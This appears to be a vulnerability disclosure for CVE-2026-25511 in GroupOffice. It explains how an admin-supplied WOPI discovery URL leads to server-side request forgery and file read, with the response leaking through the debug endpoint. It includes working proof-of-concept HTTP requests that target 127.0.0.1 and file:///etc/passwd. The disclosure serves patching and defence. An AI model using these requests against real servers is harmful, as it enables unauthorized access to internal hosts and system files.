CVE-2026-25511 - SSRF and File Read in GroupOffice

I found a full SSRF vulnerability within GroupOffice that can be triggered by an authenticated System Administrator via the WOPI service discovery URL, including access to internal hosts/ports. The SSRF response body can be exfiltrated via the built‑in debug system, turning it into a visible SSRF. This also allows full server-side file read.

You can read the advisory here

Details

When adding or updating a WOPI service, the model validates the URL by performing a server‑side fetch to the supplied endpoint. The URL is user‑controlled and not allow‑listed or restricted by scheme/host.

Code path (www/go/modules/community/wopi/model/Service.php):

  1. setUrl() stores the user‑supplied URL without validation.
  2. internalValidate() calls discover() whenever the URL is new or modified.
  3. discover() executes an outbound request and parses the response:
$result = $c->get($this->url . '/hosting/discovery');
go()->debug($result);
$discoveryParsed = simplexml_load_string($result['body']);

The HTTP client used here is go/core/http/Client, which wraps PHP cURL (curl_exec) and accepts arbitrary URLs. This makes the request a full SSRF sink.

The appended suffix /hosting/discovery can be bypassed using a fragment. For example:

If X-Debug: 1 is present, debugging is enabled (www/go/core/App.php) and the response (including body) is stored by go()->debug($result).

The debug entries can then be retrieved via community/dev/Debugger/get (www/go/modules/community/dev/controller/Debugger.php), which exposes the SSRF response content.

PoC:

Prerequisites:

Steps

  1. Authenticate and obtain an access token:
POST /api/auth.php HTTP/1.1
Host: localhost:9090
Content-Type: application/json
Content-Length: 41
User-Agent: Firefox
Connection: close

{"username":"admin","password":"password"}

Trigger SSRF and retrieve the response in one JMAP call:

POST /api/jmap.php HTTP/1.1
Host: localhost:9090
Authorization: Bearer <INSERT_ACCESS_TOKEN_HERE>
Content-Type: application/json
X-Debug: 1
Content-Length: 153
Connection: close

[ ["WopiService/set", {"create":{"k1":{"name":"SSRF","url":"http://127.0.0.1:80/#"}}}, "c1"], ["community/dev/Debugger/get", {}, "c2"] ]

Trigger File read and retrieve the response in one JMAP call:

POST /api/jmap.php HTTP/1.1
Host: localhost:9090
Authorization: Bearer <INSERT_ACCESS_TOKEN_HERE>
Content-Type: application/json
X-Debug: 1
Content-Length: 156
Connection: close

[ ["WopiService/set", {"create":{"k1":{"name":"SSRF","url":"file:///etc/passwd#"}}}, "c1"], ["community/dev/Debugger/get", {}, "c2"] ]

Expected result

The response includes debug entries containing status, headers, and body of the target.